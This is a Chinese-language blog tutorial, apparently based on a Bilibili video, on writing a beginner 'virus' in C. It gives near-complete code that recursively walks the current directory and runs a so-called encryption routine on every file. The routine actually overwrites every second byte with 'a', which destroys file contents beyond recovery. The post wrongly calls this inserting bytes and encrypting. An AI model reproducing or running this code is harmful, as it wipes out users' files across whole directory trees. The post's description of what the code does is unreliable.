前言:
这里是根据B站上的一个视频,看着教学写的,一下是我对代码的分块解析记录,方便想入门写病毒和反病毒小工具的人学习。
准备
vc++2013
b站学习视频
新建项目
我就是一开始新建项目都不清楚,原来一直用devc++
需要注意的是这里的配置
代码编写部分
1.思路
1>遍历指定目录或当前目录下所有文件(这里用到了递归查询)
2>对指定文件加密
2.对单个文件进行加密
如何对文件加密,那个老师讲的是方式比较好理解,直接对每个字节后面插入一个字符
如果是英文的话就比较好发现了,但是如果对图片和别的文件进行加密,直接就破坏了文件结构。
比起 python的直接调用库,c的缺点就是需要你自己去做,比如打开文件,对文件进行写入操作,需要判断光标的位置,需要一步步去加密,通过写这个程序,自己相应的也会了解到c的魅力。
想起以前做一个qq弹框的时候,内心想的就是抓取这个页面,不断修改在窗口的位置,如果是python,则意味着你可能不懂真正的原理,也就c能让你体验一把这种真正去控制window的瘾。
加密函数
//这里是加密函数,文件加密方式只要你懂if,else,就会知道大概流程
void jiami(char* fileName){
//1 打开文件
FILE* fp = NULL; //文件指针
fp=fopen(fileName,"r+"); //文件名 文件打开方式
if (NULL == fp){
printf("打开文件失败!\n");
return;
}
printf("打开%s文件成功!\n",fileName);
//2 拿到文件大小
//2.1 设置光标(文件内容指针) 到文件末尾
fseek(fp, 0, SEEK_END);
//2.2 计算光标位置距离文件头有多少字节
int size = ftell(fp);
//2.3 设置光标位置到文件头
fseek(fp, 0, SEEK_SET);
printf("文件大小为: %d字节!\n",size);
//3 每隔一个字节插入一个字节
char code = 'a';
for (int i = 0; i < size; i++){
//写入1字节
fwrite(&code, 1, 1, fp);
//把光标往后走一个字节
fseek(fp, 1, SEEK_CUR);
}
//4 保存关闭
fclose(fp);
}
相关函数解释
#fseek
功能:把与fp有关的文件位置指针放到一个指定位置。
格式: int fseek(FILE *stream, long offset, int fromwhere);
范例一:fseek(fp, 0L, SEEK_END);
解释:文件指针定位到文件末尾,偏移0个字节
范例二: fseek(fp,50L,0);或fseek(fp,50L,SEEK_SET);
解释:其作用是将位置指针移到离文件头50个字节处。
#fopen
下面是 fopen() 函数的声明。
FILE *fopen(const char *filename, const char *mode)
参数
filename -- 这是 C 字符串,包含了要打开的文件名称。
mode -- 这是 C 字符串,包含了文件访问模式,模式如下:
模式 描述
"r" 打开一个用于读取的文件。该文件必须存在。
"w" 创建一个用于写入的空文件。如果文件名称与已存在的文件相同,则会删除已有文件的内容,文件被视为一个新的空文件。
"a" 追加到一个文件。写操作向文件末尾追加数据。如果文件不存在,则创建文件。
"r+" 打开一个用于更新的文件,可读取也可写入。该文件必须存在。
"w+" 创建一个用于读写的空文件。
"a+" 打开一个用于读取和追加的文件。
查找文件
这里并没有对特定文件夹进行递归查询,而是对当前目录进行递归查询
这里是通过通配符去找的,和正则一样
具体函数:
void findFile(char* pathName){
//设置要找的文件名
char findFileName[256];
memset(findFileName, 0, 256); //清空数组
sprintf(findFileName, "%s\\*.*", pathName);
printf("要找的文件名是:%s\n", findFileName);
//2 找这个要找的文件
WIN32_FIND_DATA findData;
HANDLE hFile = FindFirstFile(findFileName, &findData);
if (INVALID_HANDLE_VALUE == hFile){
printf("找文件失败!\n");
return;
}
int ret = 1;
char temp[256];
while (ret){
//这里是对findData的属性进行判断,判断是不是文件夹
if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY){
//因为window文件存在. 和.. ,这里要过滤完
if (findData.cFileName[0] != '.'){
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件夹: %s\n", temp);
//Sleep(1000);
findFile(temp);
}
}
else{
memset(temp, 0, 256);
sprintf(temp, "%s\\%s", pathName, findData.cFileName);
printf("找到一个文件:%s\n", temp);
//加密这个文件
jiami(temp);
}
ret = FindNextFile(hFile, &findData);
}
}
相关函数解释
#memset()
memset() 的作用是在一段内存块中填充某个给定的值。因为它只能填充一个值,
所以该函数的初始化为原始初始化,无法将变量初始化为程序中需要的数据。
用memset初始化完后,后面程序中再向该内存空间中存放需要的数据。
#sprintf()
int sprintf(char *str, const char *format, ...)
参数
str -- 这是指向一个字符数组的指针,该数组存储了 C 字符串。
format -- 这是字符串,包含了要被写入到字符串 str 的文本。
它可以包含嵌入的 format 标签,format 标签可被随后的附加参数中指定的值替换,
并按需求进行格式化。format 标签属性是 %[flags][width][.precision][length]specifier
#WIN32_FIND_DATA findData; 这里调用win32
#HANDLE hFile = FindFirstFile(findFileName, &findData);
这里是调用的windows.h,来执行的
通过判断hFile的值来判断传入的findFileName是文件还是文件夹
#findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY
这里是对findData的属性进行判断,判断是不是文件夹
主函数
// file_encode.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include
#include
//加密filename这个文件
void jiami(char* fileName);
//遍历文件夹并找到每一个文件
void findFile(char* pathName);
int _tmain(int argc, _TCHAR* argv[])
{
//jiami("1.txt");
char buff[256]= { 0 }; //2^8
GetCurrentDirectory(256,buff);
//printf("文件夹名字是: %s\n", buff);
findFile(buff);
while (1);
return 0;
}
总结:
要自己多动手,才能有收获,同时要多分享,才能get更多姿势。